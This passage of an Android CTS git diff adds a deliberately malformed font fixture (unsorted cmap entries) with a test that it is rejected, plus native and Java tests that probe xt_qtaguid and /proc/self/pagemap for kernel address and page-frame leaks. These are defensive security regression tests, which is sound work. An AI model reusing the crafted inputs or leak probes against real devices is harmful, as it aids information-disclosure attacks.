+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <!-- Note that following hexcode is pseudo ttx source.
+           You may want to see hexdump of the unsorted_cmap4.ttf -->
+      <hexdata>
+        00 04  <!-- format: 4 -->
+        00 28  <!-- length: 40 bytes -->
+        00 00  <!-- language -->
+        00 06  <!-- segment count -->
+        00 04  <!-- search range -->
+        00 01  <!-- entry selector -->
+        00 02  <!-- range shift -->
+
+        <!-- Bad font: cmap entries must be sorted in ascending order. -->
+        04 00 01 00 ff ff  <!-- end code points -->
+        00 00  <!-- reserved -->
+        04 00 01 00 ff ff  <!-- start code points -->
+        ff 01 fc 01 00 01  <!-- delta to glyph ID -->
+        00 00 00 00 00 00  <!-- glyph ID range offset -->
+      </hexdata>
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format4 Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Broken Cmap Format4 Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      BrokenCmapFormat4Font-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 66b55f2..ba90c0f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -252,6 +252,40 @@
     }
 
     @Test
+    public void testInvalidCmapFont_unsortedEntries() {
+        // Following two font files have glyph for U+0400 and U+0100 but the fonts must not be used
+        // due to invalid cmap data. For more details, see each ttx source file.
+        final String[] INVALID_CMAP_FONTS = { "unsorted_cmap4.ttf", "unsorted_cmap12.ttf" };
+        for (final String file : INVALID_CMAP_FONTS) {
+            final Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), file);
+            assertNotNull(typeface);
+            final Paint p = new Paint();
+            final String testString = "\u0100\u0400";
+            final float widthDefaultTypeface = p.measureText(testString);
+            p.setTypeface(typeface);
+            final float widthCustomTypeface = p.measureText(testString);
+            assertEquals(widthDefaultTypeface, widthCustomTypeface, 0.0f);
+        }
+
+        // Following two font files have glyph for U+0400 U+FE00 and U+0100 U+FE00 but the fonts
+        // must not be used due to invalid cmap data. For more details, see each ttx source file.
+        final String[] INVALID_CMAP_VS_FONTS = {
+            "unsorted_cmap14_default_uvs.ttf",
+            "unsorted_cmap14_non_default_uvs.ttf"
+        };
+        for (final String file : INVALID_CMAP_VS_FONTS) {
+            final Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), file);
+            assertNotNull(typeface);
+            final Paint p = new Paint();
+            final String testString = "\u0100\uFE00\u0400\uFE00";
+            final float widthDefaultTypeface = p.measureText(testString);
+            p.setTypeface(typeface);
+            final float widthCustomTypeface = p.measureText(testString);
+            assertEquals(widthDefaultTypeface, widthCustomTypeface, 0.0f);
+        }
+    }
+
+    @Test
     public void testCreateFromAsset_cachesTypeface() {
         Typeface typeface1 = Typeface.createFromAsset(mContext.getAssets(), "bombfont2.ttf");
         assertNotNull(typeface1);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
index 7b3cab9..eb27cf2 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimationDrawableTest.java
@@ -41,6 +41,7 @@
 
 import com.android.compatibility.common.util.PollingCheck;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -64,6 +65,7 @@
 
     private AnimationDrawable mAnimationDrawable;
     private Resources mResources;
+    private boolean mInitialOneShotValue;
 
     @Rule
     public ActivityTestRule<ImageViewCtsActivity> mActivityRule =
@@ -75,9 +77,23 @@
         final Activity activity = mActivityRule.getActivity();
         mResources = activity.getResources();
 
-        ImageView imageView = (ImageView) activity.findViewById(R.id.imageview);
-        imageView.setBackgroundResource(R.drawable.animationdrawable);
-        mAnimationDrawable = (AnimationDrawable) imageView.getBackground();
+        try {
+            mActivityRule.runOnUiThread(new Runnable() {
+                public void run() {
+                    ImageView imageView = (ImageView) activity.findViewById(R.id.imageview);
+                    imageView.setBackgroundResource(R.drawable.animationdrawable);
+                    mAnimationDrawable = (AnimationDrawable) imageView.getBackground();
+                    mInitialOneShotValue = mAnimationDrawable.isOneShot();
+                }
+            });
+        } catch (Throwable t) {
+            throw new Exception(t);
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mAnimationDrawable.setOneShot(mInitialOneShotValue);
     }
 
     @Test
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
index a590681..2be83d8 100644
--- a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -26,6 +26,7 @@
 import java.util.Collection;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
+import java.util.HashMap;
 
 /**
  * Test computing and verifying the pseudoranges based on the raw measurements
@@ -133,7 +134,11 @@
       TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
 
       ArrayList<GnssMeasurement> filteredMeasurements = filterMeasurements(event.getMeasurements());
-      validatePseudorange(filteredMeasurements, softAssert, timeInNs);
+      HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap =
+          groupByConstellation(filteredMeasurements);
+      for (ArrayList<GnssMeasurement> measurements : measurementConstellationMap.values()) {
+        validatePseudorange(measurements, softAssert, timeInNs);
+      }
 
       // we need at least 4 satellites to calculate the pseudorange
       if(event.getMeasurements().size() >= MIN_SATELLITES_REQUIREMENT) {
@@ -149,6 +154,19 @@
     softAssert.assertAll();
   }
 
+  private HashMap<Integer, ArrayList<GnssMeasurement>> groupByConstellation(
+      Collection<GnssMeasurement> measurements) {
+    HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap = new HashMap<>();
+    for (GnssMeasurement measurement: measurements){
+      int constellationType = measurement.getConstellationType();
+      if (!measurementConstellationMap.containsKey(constellationType)) {
+        measurementConstellationMap.put(constellationType, new ArrayList<>());
+      }
+      measurementConstellationMap.get(constellationType).add(measurement);
+    }
+    return measurementConstellationMap;
+  }
+
   private ArrayList<GnssMeasurement> filterMeasurements(Collection<GnssMeasurement> measurements) {
     ArrayList<GnssMeasurement> filteredMeasurement = new ArrayList<>();
     for (GnssMeasurement measurement: measurements){
diff --git a/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java b/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java
index 049eeab..e7cef51 100644
--- a/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java
+++ b/tests/tests/mediastress/preconditions/src/android/mediastress/cts/preconditions/MediaPreparer.java
@@ -309,7 +309,7 @@
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
         File apkFile = null;
         try {
-            apkFile = new File(buildHelper.getTestsDir(), APP_APK);
+            apkFile = buildHelper.getTestFile(APP_APK);
             if (!apkFile.exists()) {
                 // handle both missing tests dir and missing APK in catch block
                 throw new FileNotFoundException();
diff --git a/tests/tests/net/native/Android.mk b/tests/tests/net/native/Android.mk
new file mode 100644
index 0000000..8338432
--- /dev/null
+++ b/tests/tests/net/native/Android.mk
@@ -0,0 +1,2 @@
+include $(call all-subdir-makefiles)
+
diff --git a/tests/tests/net/native/qtaguid/Android.mk b/tests/tests/net/native/qtaguid/Android.mk
new file mode 100644
index 0000000..4f5bf9f
--- /dev/null
+++ b/tests/tests/net/native/qtaguid/Android.mk
@@ -0,0 +1,71 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Build the unit tests.
+
+LOCAL_PATH:= $(call my-dir)
+
+test_executable := CtsNativeNetTestCases
+list_executable := $(test_executable)_list
+
+include $(CLEAR_VARS)
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+
+LOCAL_MODULE := $(test_executable)
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SRC_FILES := \
+    src/NativeQtaguidTest.cpp
+
+LOCAL_C_INCLUDES := \
+    external/gtest/include \
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    liblog \
+    libcutils \
+
+LOCAL_STATIC_LIBRARIES := \
+    libgtest
+
+LOCAL_CTS_TEST_PACKAGE := android.net.native
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_CFLAGS := -Werror -Wall
+
+include $(BUILD_CTS_EXECUTABLE)
+
+include $(CLEAR_VARS)
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+LOCAL_MODULE := $(list_executable)
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := \
+    src/NativeQtaguidTest.cpp
+
+LOCAL_CFLAGS := \
+    -DBUILD_ONLY \
+
+LOCAL_SHARED_LIBRARIES := \
+    liblog \
+
+include $(BUILD_HOST_NATIVE_TEST)
diff --git a/tests/tests/net/native/qtaguid/AndroidTest.xml b/tests/tests/net/native/qtaguid/AndroidTest.xml
new file mode 100644
index 0000000..2eea82e
--- /dev/null
+++ b/tests/tests/net/native/qtaguid/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Native Network xt_qtaguid test cases">
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsNativeNetTestCases->/data/local/tmp/CtsNativeNetTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsNativeNetTestCases" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
new file mode 100644
index 0000000..0301c81
--- /dev/null
+++ b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <arpa/inet.h>
+#include <errno.h>
+#include <inttypes.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <gtest/gtest.h>
+
+#if !defined(BUILD_ONLY)
+#include <cutils/qtaguid.h>
+#endif
+
+#if !defined(BUILD_ONLY)
+int getCtrlSkInfo(int tag, uid_t uid, uint64_t* sk_addr, int* ref_cnt) {
+    FILE *fp;
+    fp = fopen("/proc/net/xt_qtaguid/ctrl", "r");
+    if (!fp)
+        return -ENOENT;
+    uint64_t full_tag = (uint64_t)tag << 32 | uid;
+    char pattern[40];
+    snprintf(pattern, sizeof(pattern), " tag=0x%" PRIx64 " (uid=%" PRIu32 ")", full_tag, uid);
+
+    size_t len;
+    char *line_buffer = NULL;
+    while(getline(&line_buffer, &len, fp) != -1) {
+        if (strstr(line_buffer, pattern) == NULL)
+            continue;
+        int res;
+        pid_t dummy_pid;
+        uint64_t k_tag;
+        uint32_t k_uid;
+        const int TOTAL_PARAM = 5;
+        res = sscanf(line_buffer, "sock=%" PRIx64 " tag=0x%" PRIx64 " (uid=%" PRIu32 ") "
+                     "pid=%u f_count=%u", sk_addr, &k_tag, &k_uid,
+                     &dummy_pid, ref_cnt);
+        if (!(res == TOTAL_PARAM && k_tag == full_tag && k_uid == uid))
+            return -EINVAL;
+        free(line_buffer);
+        return 0;
+    }
+    free(line_buffer);
+    return -ENOENT;
+}
+
+void checkNoSocketPointerLeaks(int family) {
+    int sockfd = socket(family, SOCK_STREAM, 0);
+    uid_t uid = getuid();
+    int tag = arc4random();
+    int ref_cnt;
+    uint64_t sk_addr;
+    uint64_t expect_addr = 0;
+
+    EXPECT_EQ(0, qtaguid_tagSocket(sockfd, tag, uid));
+    EXPECT_EQ(0, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
+    EXPECT_EQ(expect_addr, sk_addr);
+    EXPECT_EQ(0, qtaguid_untagSocket(sockfd));
+    EXPECT_EQ(-ENOENT, getCtrlSkInfo(tag, uid, &sk_addr, &ref_cnt));
+}
+#else
+void checkNoSocketPointerLeaks(int family) {}
+#endif
+
+TEST (NativeQtaguidTest, no_socket_addr_leak) {
+  checkNoSocketPointerLeaks(AF_INET);
+  checkNoSocketPointerLeaks(AF_INET6);
+}
+
+int main(int argc, char **argv) {
+      testing::InitGoogleTest(&argc, argv);
+
+      return RUN_ALL_TESTS();
+}
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionCtsActivity.java
index 8a85555..dd89895 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionCtsActivity.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionCtsActivity.java
@@ -54,6 +54,8 @@
     /** Latch that is unlocked when the activity is done finding the version. */
     private CountDownLatch mSurfaceCreatedLatch = new CountDownLatch(1);
 
+    private GLSurfaceView mView;
+
     public static Intent createIntent(int eglContextClientVersion) {
         Intent intent = new Intent(Intent.ACTION_MAIN);
         intent.putExtra(EGL_CONTEXT_CLIENT_VERSION, eglContextClientVersion);
@@ -64,16 +66,22 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        GLSurfaceView view = new GLSurfaceView(this);
+        mView = new GLSurfaceView(this);
 
         Intent intent = getIntent();
         int eglContextClientVersion = intent.getIntExtra(EGL_CONTEXT_CLIENT_VERSION, -1);
         if (eglContextClientVersion > 0) {
-            view.setEGLContextClientVersion(eglContextClientVersion);
+            mView.setEGLContextClientVersion(eglContextClientVersion);
         }
 
-        view.setRenderer(new Renderer());
-        setContentView(view);
+        mView.setRenderer(new Renderer());
+        setContentView(mView);
+    }
+
+    @Override
+    protected void onPause() {
+        mView.onPause();
+        super.onPause();
     }
 
     public String getVersionString() throws InterruptedException {
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 0318610..b97d109 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -19,6 +19,8 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.os.Environment;
+import android.system.ErrnoException;
+import android.util.Pair;
 import android.system.Os;
 import android.system.OsConstants;
 import android.system.StructStatVfs;
@@ -28,6 +30,7 @@
 
 import java.io.BufferedReader;
 import java.io.File;
+import java.io.FileDescriptor;
 import java.io.FileFilter;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
@@ -36,6 +39,9 @@
 import java.io.InputStream;
 import java.io.IOException;
 import java.io.OutputStream;
+import java.math.BigInteger;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
 import java.util.concurrent.Callable;
 import java.util.concurrent.ExecutionException;
 import java.util.concurrent.Executors;
@@ -43,9 +49,12 @@
 import java.util.concurrent.Future;
 import java.util.concurrent.TimeoutException;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.HashSet;
+import java.util.LinkedList;
 import java.util.List;
 import java.util.Set;
 
@@ -258,17 +267,78 @@
         assertFalse(f.canExecute());
     }
 
-    @MediumTest
-    public void testProcSelfPagemapNotAccessible() {
-        // Note: can't use f.canRead() here, since the security check is done
-        // during the open() process. access(R_OK) return OK even through
-        // open() eventually fails.
+    private static List<Pair<Long, Long>> mappedPageRanges() throws IOException {
+        final BigInteger PAGE_SIZE = new BigInteger("4096");
+
+        final Pattern mapsPattern = Pattern.compile("^(\\p{XDigit}+)-(\\p{XDigit}+)");
+        List<Pair<Long, Long>> ret = new LinkedList<>();
+
+        BufferedReader reader = new BufferedReader(new FileReader("/proc/self/maps"));
+        String line;
         try {
-            new FileInputStream("/proc/self/pagemap");
-            fail("Device is missing the following kernel security patch: "
-                 + "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ab676b7d6fbf4b294bf198fb27ade5b0e865c7ce");
-        } catch (FileNotFoundException e) {
-            // expected
+            while ((line = reader.readLine()) != null) {
+                Matcher m = mapsPattern.matcher(line);
+                m.find();
+
+                long start = new BigInteger(m.group(1), 16).divide(PAGE_SIZE).longValue();
+                long end = new BigInteger(m.group(2), 16).divide(PAGE_SIZE).longValue();
+
+                ret.add(new Pair<>(start, end));
+            }
+
+            return ret;
+        } finally {
+            reader.close();
+        }
+    }
+
+    private static boolean pfnIsZero(FileDescriptor pagemap, long start, long end) throws ErrnoException, IOException {
+        // Note: reads from /proc/self/pagemap *must* be 64-bit aligned.  Use low-level android.system.Os routines to
+        // ensure this.
+        final int SIZEOF_U64 = 8;
+        final long PAGE_PRESENT = 1L << 63;
+        final long PFN_MASK = (1L << 55) - 1;
+
+        for (long page = start; page < end; page++) {
+            long offset = page * SIZEOF_U64;
+            long seek = Os.lseek(pagemap, offset, OsConstants.SEEK_SET);
+            if (offset != seek)
+                throw new IOException("lseek(" + offset + ") returned " + seek);
+
+            byte bytes[] = new byte[SIZEOF_U64];
+            ByteBuffer buf = ByteBuffer.wrap(bytes).order(ByteOrder.nativeOrder());
+            int read = Os.read(pagemap, buf);
+            if (read != bytes.length)
+                throw new IOException("read(" + bytes.length + ") returned " + read);
+
+            buf.position(0);
+            long entry = buf.getLong();
+            if ((entry & PAGE_PRESENT) == PAGE_PRESENT && (entry & PFN_MASK) != 0)
+                return false;
+        }
+
+        return true;
+    }
+
+    @MediumTest
+    public void testProcSelfPagemapSane() throws ErrnoException, IOException {
+        FileDescriptor pagemap = null;
+        try {
+            pagemap = Os.open("/proc/self/pagemap", OsConstants.O_RDONLY, 0);
+
+            for (Pair<Long, Long> range : mappedPageRanges())
+                if (!pfnIsZero(pagemap, range.first, range.second))
+                    fail("Device is missing the following kernel security patch: "
+                         + "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ab676b7d6fbf4b294bf198fb27ade5b0e865c7ce");
+        } catch (ErrnoException e) {
+            if (e.errno == OsConstants.EPERM)
+                // expected before 4.2
+                return;
+
+            throw e;
+        } finally {
+            if (pagemap != null)
+                Os.close(pagemap);
         }
     }
 
diff --git a/tests/tests/print/AndroidTest.xml b/tests/tests/print/AndroidTest.xml
index 3a04247..448c085 100644
--- a/tests/tests/print/AndroidTest.xml
+++ b/tests/tests/print/AndroidTest.xml
@@ -22,5 +22,6 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.print.cts" />
         <option name="runtime-hint" value="33m00s" />
+        <option name="shell-timeout" value="19800000"/>
     </test>
 </configuration>
diff --git a/tests/tests/print/src/android/print/cts/BasePrintTest.java b/tests/tests/print/src/android/print/cts/BasePrintTest.java
index ce2dc65..87e6c6e 100644
--- a/tests/tests/print/src/android/print/cts/BasePrintTest.java
+++ b/tests/tests/print/src/android/print/cts/BasePrintTest.java
@@ -30,6 +30,7 @@
 import static org.mockito.Mockito.when;
 import static org.mockito.hamcrest.MockitoHamcrest.argThat;
 
+import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Intent;
@@ -66,6 +67,7 @@
 import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.support.test.uiautomator.UiSelector;
 import android.util.Log;
+import android.util.SparseArray;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -95,6 +97,8 @@
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
 /**
  * This is the base class for print tests.
  */
@@ -103,6 +107,7 @@
 
     static final long OPERATION_TIMEOUT_MILLIS = 60000;
     static final String PRINT_JOB_NAME = "Test";
+    static final String TEST_ID = "BasePrintTest.EXTRA_TEST_ID";
 
     private static final String PRINT_SPOOLER_PACKAGE_NAME = "com.android.printspooler";
     private static final String PM_CLEAR_SUCCESS_OUTPUT = "Success";
@@ -112,13 +117,11 @@
     private static final int CURRENT_USER_ID = -2; // Mirrors UserHandle.USER_CURRENT
     private static final String PRINTSPOOLER_PACKAGE = "com.android.printspooler";
 
-    private static float sWindowAnimationScaleBefore;
-    private static float sTransitionAnimationScaleBefore;
-    private static float sAnimatiorDurationScaleBefore;
+    private static final AtomicInteger sLastTestID = new AtomicInteger();
+    private int mTestId;
+    private PrintDocumentActivity mActivity;
 
-    private static PrintDocumentActivity sActivity;
-    private static Instrumentation sInstrumentation;
-    private static UiDevice sUiDevice;
+    private static final SparseArray<BasePrintTest> sIdToTest = new SparseArray<>();
 
     public final @Rule ShouldStartActivity mShouldStartActivityRule = new ShouldStartActivity();
 
@@ -128,7 +131,7 @@
      * @return the UI device
      */
     public UiDevice getUiDevice() {
-        return sUiDevice;
+        return UiDevice.getInstance(getInstrumentation());
     }
 
     private CallCounter mCancelOperationCounter;
@@ -139,15 +142,15 @@
     private CallCounter mPrintJobQueuedCallCounter;
     private CallCounter mCreateSessionCallCounter;
     private CallCounter mDestroySessionCallCounter;
-    private static CallCounter sDestroyActivityCallCounter = new CallCounter();
-    private static CallCounter sCreateActivityCallCounter = new CallCounter();
+    private CallCounter mDestroyActivityCallCounter = new CallCounter();
+    private CallCounter mCreateActivityCallCounter = new CallCounter();
 
     private static String[] sEnabledImes;
 
     private static String[] getEnabledImes() throws IOException {
         List<String> imeList = new ArrayList<>();
 
-        ParcelFileDescriptor pfd = sInstrumentation.getUiAutomation()
+        ParcelFileDescriptor pfd = getInstrumentation().getUiAutomation()
                 .executeShellCommand(COMMAND_LIST_ENABLED_IME_COMPONENTS);
         try (BufferedReader reader = new BufferedReader(
                 new InputStreamReader(new FileInputStream(pfd.getFileDescriptor())))) {
@@ -168,28 +171,27 @@
         sEnabledImes = getEnabledImes();
         for (String ime : sEnabledImes) {
             String disableImeCommand = COMMAND_PREFIX_DISABLE_IME + ime;
-            SystemUtil.runShellCommand(sInstrumentation, disableImeCommand);
+            SystemUtil.runShellCommand(getInstrumentation(), disableImeCommand);
         }
     }
 
     private static void enableImes() throws Exception {
         for (String ime : sEnabledImes) {
             String enableImeCommand = COMMAND_PREFIX_ENABLE_IME + ime;
-            SystemUtil.runShellCommand(sInstrumentation, enableImeCommand);
+            SystemUtil.runShellCommand(getInstrumentation(), enableImeCommand);
         }
         sEnabledImes = null;
     }
 
     protected static Instrumentation getInstrumentation() {
-        return sInstrumentation;
+        return InstrumentationRegistry.getInstrumentation();
     }
 
     @BeforeClass
     public static void setUpClass() throws Exception {
         Log.d(LOG_TAG, "setUpClass()");
 
-        sInstrumentation = InstrumentationRegistry.getInstrumentation();
-        sUiDevice = UiDevice.getInstance(sInstrumentation);
+        Instrumentation instrumentation = getInstrumentation();
 
         // Make sure we start with a clean slate.
         Log.d(LOG_TAG, "clearPrintSpoolerData()");
@@ -199,41 +201,9 @@
 
         // Workaround for dexmaker bug: https://code.google.com/p/dexmaker/issues/detail?id=2
         // Dexmaker is used by mockito.
-        System.setProperty("dexmaker.dexcache", sInstrumentation
+        System.setProperty("dexmaker.dexcache", instrumentation
                 .getTargetContext().getCacheDir().getPath());
 
-        Log.d(LOG_TAG, "disable animations");
-        try {
-            sWindowAnimationScaleBefore = Float.parseFloat(SystemUtil.runShellCommand(
-                    sInstrumentation, "settings get global window_animation_scale"));
-
-            SystemUtil.runShellCommand(sInstrumentation,
-                    "settings put global window_animation_scale 0");
-        } catch (NumberFormatException e) {
-            Log.e(LOG_TAG, "Could not read window_animation_scale", e);
-            sWindowAnimationScaleBefore = Float.NaN;
-        }
-        try {
-            sTransitionAnimationScaleBefore = Float.parseFloat(SystemUtil.runShellCommand(
-                    sInstrumentation, "settings get global transition_animation_scale"));
-
-            SystemUtil.runShellCommand(sInstrumentation,
-                    "settings put global transition_animation_scale 0");
-        } catch (NumberFormatException e) {
-            Log.e(LOG_TAG, "Could not read transition_animation_scale", e);
-            sTransitionAnimationScaleBefore = Float.NaN;
-        }
-        try {
